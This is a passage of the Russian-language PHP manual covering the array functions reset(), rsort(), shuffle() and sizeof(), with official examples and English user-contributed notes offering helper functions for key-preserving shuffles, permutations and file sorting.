        for($i = (float)$num1; $i*$dir <= $num2*$dir; $i += $step*$dir)
        {
            $temp[] = $i;
        }
    }
    else
    {
        //we have a character range
        $num1=ord((string)$num1); //convert to ascii value
        $num2=ord((string)$num2);
        $step = ( abs($step)>0 ? abs($step) : 1 ); //make $step positive
        $dir = ($num1<=$num2 ? 1 : -1); //get direction
        for($i = $num1; $i*$dir <= $num2*$dir; $i += $step*$dir)
        {
            $temp[] = chr($i);
        }
    }
    return $temp;
}

print_r(myRange( 1, 3, 0.5 )); //you can use fractional steps
print_r(myRange( "a", "k", 3 )); //or count letters
print_r(myRange( "5", "9" )); //numbers are detected even if hidden in strtings
print_r(myRange( "!", "%", 1/pi() )); //or mess around with senseless parameters

?>


Устанавливает внутренний указатель массива на первый элемент

  • « range
  • rsort »
  • PHP Manual
  • Функции для работы с массивами
  • Устанавливает внутренний указатель массива на первый элемент

reset

(PHP 4, PHP 5, PHP 7, PHP 8)

reset — Устанавливает внутренний указатель массива на первый элемент

Описание

reset(array|object &$array): mixed

Функция reset() сдвигает внутренний указатель массива array на первый элемент и возвращает значение первого элемента массива.

Список параметров

array

Входной массив.

Возвращаемые значения

Возвращает значение первого элемента массива или false, если массив пуст.

Внимание

Функция возвращает как логическое значение false, так и нелогическое значение, которое приводится к false. Прочитайте раздел «Логический тип», чтобы получить дополнительную информацию. Используйте оператор === для проверки значения, которое возвращает функция.

Список изменений

Версия | Описание
8.1.0 | Вызов функции на объекте (object) объявлен устаревшим. Объект (object) либо сначала преобразовывают в массив (array) функцией get_mangled_object_vars(), либо пользуются методами класса, в котором реализовали интерфейс Iterator, например, ArrayIterator.
7.4.0 | Экземпляры классов библиотеки SPL теперь обрабатываются как пустые объекты, у которых нет свойств, вместо вызова метода интерфейса Iterator с тем же именем, что и у этой функция.

Примеры

Пример #1 Пример использования функции reset()

<?php

$array = array('первый шаг', 'второй шаг', 'третий шаг', 'четвёртый шаг');

// По умолчанию указатель указывает на первый элемент
echo current($array) . "<br />\n"; // "первый шаг"

// Пропускаем два шага
next($array);
next($array);
echo current($array) . "<br />\n"; // "третий шаг"

// Сбрасываем указатель, снова начинаем с первого шага
reset($array);
echo current($array) . "<br />\n"; // "первый шаг"

?>

Примечания

Замечание: Возвращаемое значение для пустого массива неотличимо от значения в случае массива, значение первого элемента которого равно логическому (bool) значению false. Чтобы правильно проверить значение первого элемента массива, который содержит значение false, сначала функцией count() проверяют количество элементов в массиве или после вызова функции reset() проверяют, что ключ, возвращаемый функцией key(), не равен значению null.

Смотрите также

  • current() - Возвращает текущий элемент массива
  • each() - Возвращает текущую пару ключа и значения массива и сдвигает указатель на одну позицию вперёд
  • end() - Устанавливает внутренний указатель массива на последний элемент
  • next() - Сдвигает внутренний указатель массива на одну позицию вперёд
  • prev() - Сдвигает внутренний указатель массива на одну позицию назад
  • array_key_first() - Получает первый ключ массива

User Contributed Notes

turabgarip at gmail dot com 09-Jun-2021 02:32
Since reset() returns the first "value" of the array beside resetting its internal pointer; it will return different results when it is combined with key() or used separately. Like;

<?php

$products = array(
    'biscuits' => array('biscuit1' => 'cobis', 'biscuit2' => 'probis'),
    'chocolates' => array('coco1' => 'cococ', 'coco2' => 'prococ'),
 );

echo key(reset($products['biscuits'])); // Fatal error

reset($products['biscuits']);
echo key($products['biscuits']); // Will print 'biscuit1'

?>

This is perfectly normal because in the first method, reset() returned the first "value" of the 'biscuits' element which is to be "cbosi". So key(string) will cause a fatal error. While in the second method you just reset the array and didn't use a returning value; instead you reset the pointer and than extracted the first key of an array.

If your array has more dimensions, it won't probably cause a fatal error but you will get different results when you combine reset() and key() or use them consecutively.
Bartek Ferek 30-Aug-2016 11:16
As for taking first key of an array, it's much more efficient to RESET and then KEY, rather then RESET result of ARRAY_KEYS (as sugested by gardnerjohng at gmail dot com).

<?php
reset($someArray);
echo key($someArray);
?>

This will give the same result but is much much faster. Larger arrays, better performance. Tested on 100-elements long array with 16 times faster results.
arne dot slabbinck at duo dot be 01-Oct-2015 03:43
Info:

Following code gives a strict warning in 5.4.45

      return reset(array_keys($result['node']));

"Strict warning: Only variables should be passed by reference"

So should be:

      $keys = array_keys($result['node']);
      return reset($keys);
arne dot ludwig at posteo dot de 18-Sep-2015 09:22
In response to gardnerjohng's note to retrieve the first _key_ of an array:

To retrieve the first _key_ of an array you can use the combination of reset() and key().

<?php
    $properties = array(
        'colour'   => 'grey',
        'flavour'  => 'rubber',
        'name'     => 'Mouse Ball',
        'texture'  => 'rubbery'
    );

    reset($properties);
    echo key($properties); // => 'colour'
?>

I prefer this solution as you don't have to create the keys array. This should (not measured) improve performance on large arrays.
gardnerjohng at gmail dot com 18-Sep-2014 05:54
If you need an easy way to retrieve the first *key* in an array (instead of the value), it can be done like this:

<?php
    $properties = array(
        'colour'   => 'grey',
        'flavour'  => 'rubber',
        'name'     => 'Mouse Ball',
        'texture'  => 'rubbery'
    );

    #    Will output "colour".
    echo reset(array_keys($properties));
?>
Potentially helpful for configuration files that define a sequence of items as an associative array.
Mladen Janjetovic 16-May-2013 10:07
Note that you can't use pointer here. It will reset the iteration counter in this case.
foreach($array as $key=>&$value) {...}

Use standard foreach instead
foreach($array as $key=>$value) {...}
milo at mdlwebsolutions dot com 03-Apr-2012 10:22
GOTCHA: If your first element is false, you don't know whether it was empty or not.

<?php

$a = array();
$b = array(false, true, true);
var_dump(reset($a) === reset($b)); //bool(true)

?>

So don't count on a false return being an empty array.
kendsnyder at gmail dot com 08-Feb-2010 08:12
Don't use `reset()` to get the first value of an associative array. It works great for true arrays but works unexpectedly on Iterator objects. http://bugs.php.net/bug.php?id=38478
m dot lebkowski+php at gmail dot com 03-Aug-2006 01:58
Colin, there`s a better (IMO) way to solve your problem.
<?
  // ...
  foreach($a as $k => &$d){}   // notice the "&"
  // ...
?>
It`s a new feature in PHP5 to use references in foreach loop. This way PHP isn`t making a copy of the array, so the internal pointer won`t be reset.
Colin 06-Jun-2006 08:11
I had a problem with PHP 5.0.5 somehow resetting a sub-array of an array with no apparent reason.  The problem was in doing a foreach() on the parent array PHP was making a copy of the subarrays and in doing so it was resetting the internal pointers of the original array.

The following code demonstrates the resetting of a subarray:

<?
$a = array(
    'a' => array(
        'A', 'B', 'C', 'D',
    ),
    'b' => array(
        'AA', 'BB', 'CC', 'DD',
    ),
);

// Set the pointer of $a to 'b' and the pointer of 'b' to 'CC'
reset($a);
next($a);
next($a['b']);
next($a['b']);
next($a['b']);

var_dump(key($a['b']));
foreach($a as $k => $d)
{
}
var_dump(key($a['b']));
?>

The result of the two var dumps are 3 and 0, respectively.  Clearly the internal pointer of $a['b'] was reset by doing the foreach loop over $a.

Each time the foreach loop iterated over the 'a' and 'b' keys of $a it made a copy of $a['a'] and $a['b'] into $d which resetted the internal pointers of $a['a'] and $a['b'] despite making no obvious changes.

The solution is instead to iterate over the keys of $a.

<?
foreach(array_keys($a) as $k)
{
}
?>

and using $a[$k] (or creating an alias of $a[$k] as $d and dealing with the consequences of using aliases).

For the curious, I was implementing the Iterator interface on a dummy object and calling a global object to do the actual iteration (also to cope with PHP's lack of C-style pointers which when doing a $a = $b on objects would cause the data in $a to be inconsistent with the data in $b when modified).  Being that I had many dummy objects representing different data sets I chose to store each data set as a subarray contained within the global object.  To make this work each dummy object has to store a key (which can freely be duplicated without problems) that it passes to the global object when rewind, key, current, next, and valid were called on the dummy object.

Unfortunately for me, my key required to be more than just a simple string or number (if it was then it could be used to directly index the subarray of data for that object and problem avoided) but was an array of strings.  Instead, I had to iterate over (with a foreach loop) each subarray and compare the key to a variable stored within the subarray.

So by using a foreach loop in this manner and with PHP resetting the pointer of subarrays it ended up causing an infinite loop.

Really, this could be solved by PHP maintaining internal pointers on arrays even after copying.
27-Feb-2006 01:20
I wrote a nice function, which rotates values of array. Very useful for table rows where you have to rotate colors

<?php
function rotate(&$array) {
    $item = current($array);
    if (!next($array)) reset($array);
    return $item;
}
?>
Alexandre Koriakine 18-Nov-2005 02:09
Also it's good to reset this way the multidimentional arrays:

reset($voo2['moder']);
while (list($key, $value) = each ($voo2['moder'])) {

reset($voo2['moder'][$key]);
while (list($key1, $value1) = each ($voo2['moder'][$key])) {
#do what u want
}

}
leaetherstrip at inbox dot NOSPAMru 17-Oct-2004 06:54
Note that reset() will not affect sub-arrays of multidimensional array.

For example,

<?php
    $arr = array(
        1 => array(2,3,4,5,6),
        2 => array(6,7,8,9,10)
    );

    while(list($i,) = each($arr))
    {
        echo "IN \$arr[$i]<br>";

        while(list($sub_i,$entry) = each($arr[$i]))
        {
            echo "\$arr[$i][$sub_i] = $entry<br>";
        }
    }

    reset($arr);

    // Do the same again
    while(list($i,) = each($arr))
    {
        echo "IN \$arr[$i]<br>";

        while(list($sub_i,$entry) = each($arr[$i]))
        {
            echo "\$arr[$i][$sub_i] = $entry<br>";
        }
    }
?>

will print

IN $arr[1]
$arr[1][0] = 2
$arr[1][1] = 3
$arr[1][2] = 4
$arr[1][3] = 5
$arr[1][4] = 6
IN $arr[2]
$arr[2][0] = 6
$arr[2][1] = 7
$arr[2][2] = 8
$arr[2][3] = 9
$arr[2][4] = 10
IN $arr[1]
IN $arr[2]


Сортирует массив в порядке убывания

  • « reset
  • shuffle »
  • PHP Manual
  • Функции для работы с массивами
  • Сортирует массив в порядке убывания

rsort

(PHP 4, PHP 5, PHP 7, PHP 8)

rsort — Сортирует массив в порядке убывания

Описание

rsort(array &$array, int $flags = SORT_REGULAR): true

Сортирует массив (array) по значениям в порядке убывания.

Замечание:

Функция сохраняет первоначальный порядок элементов, если при сравнении значения двух элементов равны. До PHP 8.0.0 порядок элементов в отсортированном массиве оставался неопределённым.

Замечание: Эта функция присваивает новые ключи элементам array. Она удалит все существующие ключи, а не просто переупорядочит их.

Замечание:

Функция сбрасывает внутренний указатель массива на первый элемент.

Список параметров

array

Входной массив.

flags

Необязательный второй параметр flags изменяет поведение сортировки и может принимать следующие значения:

Флаги типов сортировки:

  • SORT_REGULAR — обычное сравнение элементов; подробности описаны в разделе операторы сравнения
  • SORT_NUMERIC — числовое сравнение элементов
  • SORT_STRING — строковое сравнение элементов
  • SORT_LOCALE_STRING — сравнение элементов как строк на основе текущего языкового стандарта. Флаг использует языковой стандарт, который можно изменить функцией setlocale()
  • SORT_NATURAL — сравнение элементов как строки, используя "естественный порядок", например natsort()
  • SORT_FLAG_CASE — можно объединять (побитовое ИЛИ) с SORT_STRING или SORT_NATURAL для сортировки строк без учёта регистра

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.

Примеры

Пример #1 Пример использования функции rsort()

<?php

$fruits = array("lemon", "orange", "banana", "apple");
rsort($fruits);
foreach ($fruits as $key => $val) {
echo "$key = $val\n";
}

?>

Результат выполнения приведённого примера:

0 = orange
1 = lemon
2 = banana
3 = apple

Названия фруктов были отсортированы по алфавиту в обратном порядке.

Смотрите также

  • sort() - Сортирует массив по возрастанию
  • arsort() - Сортирует массив в порядке убывания, сохраняя ассоциацию индексов
  • krsort() - Сортирует массив по ключу в порядке убывания
  • Сравнение функций сортировки массивов

User Contributed Notes

suniafkhami at gmail dot com 20-Feb-2014 02:40
If you are sorting an array from a database result set, such as MySQL for example, another approach could be to have your database sort the result set by using ORDER BY DESC, which would be the equivalent of using rsort() on the resulting array in PHP.

[Edited by moderator for clarity: googleguy at php dot net]
Alex M 27-Jun-2005 07:39
A cleaner (I think) way to sort a list of files into reversed order based on their modification date.

<?php
   $path = $_SERVER[DOCUMENT_ROOT]."/files/";
   $dh = @opendir($path);

   while (false !== ($file=readdir($dh)))
   {
      if (substr($file,0,1)!=".")
         $files[]=array(filemtime($path.$file),$file);   #2-D array
   }
   closedir($dh);

   if ($files)
   {
      rsort($files); #sorts by filemtime

      #done! Show the files sorted by modification date
      foreach ($files as $file)
         echo "$file[0] $file[1]<br>\n";  #file[0]=Unix timestamp; file[1]=filename
   }
?>
pshirkey at boosthardware dot com 14-Jan-2005 01:06
I needed a function that would sort a list of files into reversed order based on their modification date.

Here's what I came up with:

function display_content($dir,$ext){

    $f = array();
    if (is_dir($dir)) {
        if ($dh = opendir($dir)) {
            while (($folder = readdir($dh)) !== false) {
                if (preg_match("/\s*$ext$/", $folder)) {
                    $fullpath = "$dir/$folder";
                    $mtime = filemtime ($fullpath);

                    $ff = array($mtime => $fullpath);
                    $f = array_merge($f, $ff);

            }
                }

            rsort($f, SORT_NUMERIC);

            while (list($key, $val) = each($f)) {
                $fcontents = file($val, "r");
                while (list($key, $val) = each($fcontents))
                    echo "$val\n";
            }

        }
    }

        closedir($dh);
}

Call it like so:

display_content("folder","extension");
ray at non-aol dot com 02-Nov-2004 07:49
Like sort(), rsort() assigns new keys for the elements in array. It will remove any existing keys you may have assigned, rather than just reordering the keys.  This means that it will destroy associative keys.

$animals = array("dog"=>"large",  "cat"=>"medium",  "mouse"=>"small");
print_r($animals);
//Array ( [dog] => large [cat] => medium [mouse] => small )

rsort($animals);
print_r($animals);
//Array ( [0] => small [1] => medium [2] => large )

Use KSORT() or KRSORT() to preserve associative keys.
rnk-php at kleckner dot net 17-Jun-2003 12:37
Apparently rsort does not put arrays with one value back to zero.  If you have an array like: $tmp = array(9 => 'asdf') and then rsort it, $tmp[0] is empty and $tmp[9] stays as is.
slevy1 at pipeline dot com 12-Jun-2001 11:15
I thought rsort was working successfully or on a multi-dimensional array of strings that had first been sorted with usort(). But, I noticed today that the array  was only partially in descending order.  I tried array_reverse on it and that seems to have solved things.


Перемешивает массив

  • « rsort
  • sizeof »
  • PHP Manual
  • Функции для работы с массивами
  • Перемешивает массив

shuffle

(PHP 4, PHP 5, PHP 7, PHP 8)

shuffle — Перемешивает массив

Описание

shuffle(array &$array): true

Функция перемешивает элементы массива в случайном порядке.

Предостережение

Функция не создаёт криптографически безопасные значения и не должна использоваться в криптографических целях или целях, которые требуют, чтобы возвращаемые значения были недоступны для разгадывания.

Если нужна криптографически безопасная случайная последовательность, можно использовать класс Random\Randomizer с движком Random\Engine\Secure. Для простых сценариев существуют функции random_int() и random_bytes() с удобным API криптографически безопасного генератора псевдослучайных чисел (CSPRNG), поддерживаемого операционной системой.

Список параметров

array

Массив.

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
7.1.0 | Внутренний алгоритм получения случайных чисел изменён с функции rand библиотеки libc на генератор на базе » Вихря Мерсена.

Примеры

Пример #1 Пример использования shuffle()

<?php
$numbers = range(1, 20);
shuffle($numbers);
foreach ($numbers as $number) {
echo "$number ";
}
?>

Примечания

Замечание: Эта функция присваивает новые ключи элементам array. Она удалит все существующие ключи, а не просто переупорядочит их.

Замечание:

Функция сбрасывает внутренний указатель массива на первый элемент.

Смотрите также

  • Random\Randomizer::shuffleArray() - Получает перестановку массива
  • Random\Randomizer::shuffleBytes() - Получает байтовую перестановку строки
  • Random\Randomizer::pickArrayKeys() - Выбирает случайные ключи массива
  • Сравнение функций сортировки массивов

User Contributed Notes

DiosDe 21-Jul-2021 05:03
implementation of shuffle() using random_int()

<?php

function random_int_shuffle ( array $array ): array
{
    $array = array_values($array);

    $result = [];
    $skip_indexes = [];

    $sizeof_array = count($array);

    for ( $i = 0; $i < $sizeof_array; $i++ )
    {
        do
        {
            $random_index = random_int(0, $sizeof_array);
        } while ( in_array($random_index, $skip_indexes) );

        $skip_indexes[] = $random_index;
        $result[] = $array[$random_index];
    }

    return $result;
}
?>
xzero at elite7hackers dot net 30-May-2015 01:09
There is an function which uses native shuffle() but preserves keys, and their order, so at end, only values are shuffled.

<?PHP
/**
 * Array Quake - Give an array good quake so every value will endup with random given space.
 * Keys, and their order are preserved.
 * @author xZero <xzero@elite7hackers.net>
 * @param array $array
 * @return boolean false on failure
 */
function array_quake(&$array) {
    if (is_array($array)) {
        $keys = array_keys($array); // We need this to preserve keys
        $temp = $array;
        $array = NULL;
        shuffle($temp); // Array shuffle
        foreach ($temp as $k => $item) {
            $array[$keys[$k]] = $item;
        }
        return;
    }
    return false;
}

// Example
$numbers = array(
    'ZERO' => 0,
    'ONE' => 1,
    'TWO' => 2,
    'THREE' => 3,
    'FOUR' => 4,
    'FIVE' => 5,
    'SIX' => 6,
    'SEVEN' => 7,
    'EIGHT' => 8,
    'NINE' => 9
);
echo "\nBefore (original):\n";
print_r($numbers);
array_quake($numbers);
echo "\n\nAfter (Array Quake);\n";
print_r($numbers);
echo "\n";
?>

Result example:
Before (original):
Array
(
    [ZERO] => 0
    [ONE] => 1
    [TWO] => 2
    [THREE] => 3
    [FOUR] => 4
    [FIVE] => 5
    [SIX] => 6
    [SEVEN] => 7
    [EIGHT] => 8
    [NINE] => 9
)

After (Array Quake);
Array
(
    [ZERO] => 4
    [ONE] => 2
    [TWO] => 0
    [THREE] => 8
    [FOUR] => 3
    [FIVE] => 6
    [SIX] => 1
    [SEVEN] => 7
    [EIGHT] => 5
    [NINE] => 9
)
peter at removethisplease dot ddcrew dot com 02-Dec-2013 01:55
This seems to do reasonably well as a shuffle() that preserves index assocation:

<?php
function ashuffle (&$arr) {
    uasort($arr, function ($a, $b) {
        return rand(-1, 1);
    });
}
?>

Obviously only works if PHP has closures enabled...
Eric Anderson 29-Mar-2011 09:33
Copy and paste this script and refresh the page to see the shuffling effect.

<?php
    /**
    * Shuffles and displays cards in a deck
    * @author:     Eric Anderson
    * @filename:   deckofcards.php
    */

    // Create an array of face values
    // and an array of card values
    // then merge them together
    $cards = array_merge(array("J", "Q", "K", "A"), range(2,10)); // 13 cards

    // Shuffle the cards
    shuffle($cards);

    // Create an multidimentional array to hold the 4 suits
    $suits = array(
        'Heart' => array(),
        'Spade' => array(),
        'Diamond' => array(),
        'Club' => array()
        );

    // Add cards to their respective suits
    for($i = 0; $i < count($suits); $i++)
    {
        for($j = 0; $j < count($cards); $j++)
        {
            $suits['Heart'][$j] = $cards[$j]."<span style=color:#FF0000;>&hearts;</span>";
            $suits['Spade'][$j] = $cards[$j]."&spades;";
            $suits['Diamond'][$j] = $cards[$j]."<span style=color:#FF0000;>&diams;</span>";
            $suits['Club'][$j] = $cards[$j]."&clubs;";
        }
    }

    // Create a deck
    $deck = array();

    // Merge the suits into the empty deck array
    $deck = array_merge($deck, $suits);

    // Display the deck to the screen
    echo "<p><b>Deck of cards:</b></p>";
    foreach($deck as $k1 => $v1)
    {
        // Display suit name
        echo "<p>&emsp;$k1's<br />&emsp;{<br />&emsp;&emsp;";
        $acc = 0;

        // Display card value
        foreach($v1 as $k2 => $v2)
        {
            echo "$v2&nbsp";
            $acc++;

            if ($acc == 4)
            {
                echo "<br />&emsp;&emsp;";
                $acc = 0;
            }
        }
        echo "<br />&emsp;}</p>";
    }
?>
andjones at gmail dot com 26-Aug-2010 09:35
Shuffle associative and non-associative array while preserving key, value pairs. Also returns the shuffled array instead of shuffling it in place.

<?php

function shuffle_assoc($list) {
  if (!is_array($list)) return $list;

  $keys = array_keys($list);
  shuffle($keys);
  $random = array();
  foreach ($keys as $key)
    $random[$key] = $list[$key];

  return $random;
}

?>
ezakto at ezakto dot com 24-Jul-2010 11:13
This is a replica of shuffle() but preserving keys (associative and non-associative)

bool kshuffle  (  array &$array  )

<?php

function kshuffle(&$array) {
    if(!is_array($array) || empty($array)) {
        return false;
    }
    $tmp = array();
    foreach($array as $key => $value) {
        $tmp[] = array('k' => $key, 'v' => $value);
    }
    shuffle($tmp);
    $array = array();
    foreach($tmp as $entry) {
        $array[$entry['k']] = $entry['v'];
    }
    return true;
}

$array = array('first' => 0, 'second' => 1, 'third' => 2);
kshuffle($array);
print_r($array); // [second] => 1 [first] => 0 [third] => 2

$array = array('first', 'second', 'third');
kshuffle($array);
print_r($array); // [1] => second [2] => third [0] => first

?>
rick at suggestive dot com 24-Mar-2010 02:19
Many people in SEO need to supply an array and shuffle the results and need the same result each time that page is generated. This is my implementation with a working example:

<?php
function seoShuffle(&$items,$string) {
    mt_srand(strlen($string));
    for ($i = count($items) - 1; $i > 0; $i--){
        $j = @mt_rand(0, $i);
        $tmp = $items[$i];
        $items[$i] = $items[$j];
        $items[$j] = $tmp;
    }
}

$items = array('one','two','three','four','five','six');
$string = 'whatever';

echo '<pre>';
print_r($items);
echo '</pre>';

seoShuffle($items,$string);

echo '<pre>';
print_r($items);
echo '</pre>';
?>
tyler at CompLangs dot com 01-Jan-2010 06:59
Here is a quick function I wrote that generates a random password and uses shuffle() to easily shuffle the order.

<?php
public function randPass($upper = 3, $lower = 3, $numeric = 3, $other = 2) {
    //we need these vars to create a password string
    $passOrder = Array();
    $passWord = '';

    //generate the contents of the password
    for ($i = 0; $i < $upper; $i++) {
        $passOrder[] = chr(rand(65, 90));
    }
    for ($i = 0; $i < $lower; $i++) {
        $passOrder[] = chr(rand(97, 122));
    }
    for ($i = 0; $i < $numeric; $i++) {
        $passOrder[] = chr(rand(48, 57));
    }
    for ($i = 0; $i < $other; $i++) {
        $passOrder[] = chr(rand(33, 47));
    }

    //randomize the order of characters
    shuffle($passOrder);

    //concatenate into a string
    foreach ($passOrder as $char) {
        $passWord .= $char;
    }

    //we're done
    return $passWord;
}
?>
ahmad at ahmadnassri dot com 18-Nov-2009 08:58
shuffle for associative arrays, preserves key=>value pairs.
(Based on (Vladimir Kornea of typetango.com)'s function)

<?php
    function shuffle_assoc(&$array) {
        $keys = array_keys($array);

        shuffle($keys);

        foreach($keys as $key) {
            $new[$key] = $array[$key];
        }

        $array = $new;

        return true;
    }
?>

*note: as of PHP 5.2.10, array_rand's resulting array of keys is no longer shuffled, so we use array_keys + shuffle.
Anonymous 28-Aug-2009 09:18
I needed a simple function two shuffle a two dimensional array. Please note the second level arrays must be indexed using integers, for example $myarray[0]["Name"] and not $myarray["One"]["Name"]. Here is the function:

<?php
function twodshuffle($array)
{
    // Get array length
    $count = count($array);
    // Create a range of indicies
    $indi = range(0,$count-1);
    // Randomize indicies array
    shuffle($indi);
    // Initialize new array
    $newarray = array($count);
    // Holds current index
    $i = 0;
    // Shuffle multidimensional array
    foreach ($indi as $index)
    {
        $newarray[$i] = $array[$index];
        $i++;
    }
    return $newarray;
}
?>

Please note it only works on two dimensional arrays. Here is an example:

<?php
$myarray = array("Google" => array("Name" => "Google", "URL" => "www.google.com", "Usage" => "Googling"), "Yahoo" => array("Name" => "Yahoo", "URL" => "www.yahoo.com", "Usage" => "Yahooing?"), "Ask" => array("Name" => "Ask", "URL" => "www.ask.com", "Usage" => "Asking Jeeves"));

print_r(twodshuffle($myarray));

/* And the result is:
Array ( [0] => Array ( [Name] => Ask [URL] => www.ask.com [Usage] => Asking Jeeves ) [1] => Array ( [Name] => Google [URL] => www.google.com [Usage] => Googling ) [2] => Array ( [Name] => Yahoo [URL] => www.yahoo.com [Usage] => Yahooing? ) )
*/
?>

Hope you find it useful!
aalaap at gmail dot com 08-Jun-2009 05:12
I've been wondering why shuffle() doesn't provide the shuffled array as a return value instead of a bool. I mean, what could possibly go wrong in shuffling elements from an array?

So I use something like this:

<?php
function array_shuffle($array) {
    if (shuffle($array)) {
        return $array;
    } else {
        return FALSE;
    }
}
?>
sivaji2009 at gmail dot com 17-May-2009 02:07
Here i wrote a custom shuffle function which preserves the array index and distributes the array element randomly.

<?php

/*
 * return an array whose elements are shuffled in random order.
 */
function custom_shuffle($my_array = array()) {
  $copy = array();
  while (count($my_array)) {
    // takes a rand array elements by its key
    $element = array_rand($my_array);
    // assign the array and its value to an another array
    $copy[$element] = $my_array[$element];
    //delete the element from source array
    unset($my_array[$element]);
  }
  return $copy;
}

$array = array(
  'a' => 'apple',
  'b' => 'ball',
  'c' => 'cat',
  'd' => 'dog',
  'e' => 'egg',
  'f' => 'fan',
  'g' => 'gun'
);

print_r(custom_shuffle($array));

Array
(
    [c] => cat
    [e] => egg
    [f] => fan
    [a] => apple
    [b] => ball
    [g] => gun
    [d] => dog
)

?>
dirk dot avery a t gmail 30-Apr-2009 08:58
Building on examples by m227 and pineappleclock, here is a function that returns all permutations of each set in the power set of an array of strings (instead of a string).  Thanks for the great examples!

<?php

/*
 Use: $arr = power_perms($in);

 Example:
  $in = array("A","B","C");
  $power_perms = power_perms($in);

 Returns:
  Array
  (
    [0] => Array
        (
            [0] => A
            [1] => B
            [2] => C
        )

    [1] => Array
        (
            [0] => A
            [1] => C
            [2] => B
        )

    [2] => Array
        (
            [0] => B
            [1] => A
            [2] => C
        )

    [3] => Array
        (
            [0] => B
            [1] => C
            [2] => A
        )

    [4] => Array
        (
            [0] => C
            [1] => A
            [2] => B
        )

    [5] => Array
        (
            [0] => C
            [1] => B
            [2] => A
        )

    [6] => Array
        (
            [0] => A
            [1] => B
        )

    [7] => Array
        (
            [0] => B
            [1] => A
        )

    [8] => Array
        (
            [0] => B
            [1] => C
        )

    [9] => Array
        (
            [0] => C
            [1] => B
        )

    [10] => Array
        (
            [0] => A
            [1] => C
        )

    [11] => Array
        (
            [0] => C
            [1] => A
        )

    [12] => Array
        (
            [0] => A
        )

    [13] => Array
        (
            [0] => B
        )

    [14] => Array
        (
            [0] => C
        )

  )

*/

function power_perms($arr) {

    $power_set = power_set($arr);
    $result = array();
    foreach($power_set as $set) {
        $perms = perms($set);
        $result = array_merge($result,$perms);
    }
    return $result;
}

function power_set($in,$minLength = 1) {

   $count = count($in);
   $members = pow(2,$count);
   $return = array();
   for ($i = 0; $i < $members; $i++) {
      $b = sprintf("%0".$count."b",$i);
      $out = array();
      for ($j = 0; $j < $count; $j++) {
         if ($b{$j} == '1') $out[] = $in[$j];
      }
      if (count($out) >= $minLength) {
         $return[] = $out;
      }
   }

   //usort($return,"cmp");  //can sort here by length
   return $return;
}

function factorial($int){
   if($int < 2) {
       return 1;
   }

   for($f = 2; $int-1 > 1; $f *= $int--);

   return $f;
}

function perm($arr, $nth = null) {

    if ($nth === null) {
        return perms($arr);
    }

    $result = array();
    $length = count($arr);

    while ($length--) {
        $f = factorial($length);
        $p = floor($nth / $f);
        $result[] = $arr[$p];
        array_delete_by_key($arr, $p);
        $nth -= $p * $f;
    }

    $result = array_merge($result,$arr);
    return $result;
}

function perms($arr) {
    $p = array();
    for ($i=0; $i < factorial(count($arr)); $i++) {
        $p[] = perm($arr, $i);
    }
    return $p;
}

function array_delete_by_key(&$array, $delete_key, $use_old_keys = FALSE) {

    unset($array[$delete_key]);

    if(!$use_old_keys) {
        $array = array_values($array);
    }

    return TRUE;
}
?>
pineappleclock at gmail dot com 22-Jan-2009 10:06
If you want the Power Set (set of all unique subsets) of an array instead of permutations, you can use this simple algorithm:

<?php
/**
* Returns the power set of a one dimensional array,
* a 2-D array.
* array(a,b,c) ->
* array(array(a),array(b),array(c),array(a,b),array(b,c),array(a,b,c))
*/
function powerSet($in,$minLength = 1) {
   $count = count($in);
   $members = pow(2,$count);
   $return = array();
   for ($i = 0; $i < $members; $i++) {
      $b = sprintf("%0".$count."b",$i);
      $out = array();
      for ($j = 0; $j < $count; $j++) {
         if ($b{$j} == '1') $out[] = $in[$j];
      }
      if (count($out) >= $minLength) {
         $return[] = $out;
      }
   }
   return $return;
}
?>
tony at brokerbin dot com 11-Nov-2008 07:26
Here is IMO the simplest and extremely fast way to shuffle an associative array AND keep the key=>value relationship.  However, it ONLY works if there are NO NUMERIC keys AT ALL.  Look into array_merge for the reason why.

<?php

$unshuffled = array('one'=>1,'two'=>2,'three'=>3);

$shuffled = array_merge( array_flip(array_rand($unshuffled,count($unshuffled))),$unshuffled );

?>

peace
Antonio Ognio 06-May-2008 09:42
Another shuffle() implementation that preserves keys, does not use extra memory and perhaps is a bit easier to grasp.

<?php
if (function_exists('shuffle_with_keys')===false) {
  function shuffle_with_keys(&$array) {
    /* Auxiliary array to hold the new order */
    $aux = array();
    /* We work with an array of the keys */
    $keys = array_keys($array);
    /* We shuffle the keys */
    shuffle($keys);
    /* We iterate thru' the new order of the keys */
    foreach($keys as $key) {
      /* We insert the key, value pair in its new order */
      $aux[$key] = $array[$key];
      /* We remove the element from the old array to save memory */
      unset($array[$key]);
    }
    /* The auxiliary array with the new order overwrites the old variable */
    $array = $aux;
  }
}
?>


Псевдоним count

  • « shuffle
  • sort »
  • PHP Manual
  • Функции для работы с массивами
  • Псевдоним count

sizeof

(PHP 4, PHP 5, PHP 7, PHP 8)

sizeof — Псевдоним count()

Описание

Псевдоним функции count().

User Contributed Notes

chris at amis dot nl 02-Sep-2013 09:15
I would recommend not using sizeof(). Many programmers expect sizeof() to return the amount of memory allocated. Instead sizeof() -as described above- is an alias for count().

Prevent misinterpretation and use count() instead.
umopdn [at] msn [dawt] com 23-Sep-2008 02:38
a) Always try and use PHP's internal routines to iterate through objects of various types (arrays in most examples below).

Instead of interpreting your code to loop through them, they use their own internal routines which are much faster.

(This is why foreach () will run faster than manual interation)

b) It is _always_ good practice to leave as many static resulting functions outside of loops, having operations that return the exact same piece of data every iteration of the loop is not pretty on resources.

c) I agree with PixEye's remarks on sizeof().  In PHP it is just an alias for the true function count().  It has other meanings logically in other languages rather than the number of elements in an object.  This should be avoided as it may confuse developers transitioning to PHP from other languages.
PixEye 23-Sep-2008 09:09
I am quite surprised about previous posts. Here are my advices:

1/ prefer the count() function instead of sizeOf() as sizeOf() is only an alias of count() and does not mean the same in many other languages based on C (avoid ambiguity).

2/ prefer the powerful forEach() function to iterate over arrays.
communiti.ch 10-Apr-2008 06:55
If your array is "huge"

It is reccomended to set a variable first for this case:

THIS->

$max = sizeof($huge_array);
for($i = 0; $i < $max;$i++)
{
code...
}

IS QUICKER THEN->

for($i = 0; $i < sizeof($huge_array);$i++)
{
code...
}


Сортирует массив по возрастанию

  • « sizeof
  • uasort »
  • PHP Manual
  • Функции для работы с массивами
  • Сортирует массив по возрастанию

sort

(PHP 4, PHP 5, PHP 7, PHP 8)

sort — Сортирует массив по возрастанию

Описание

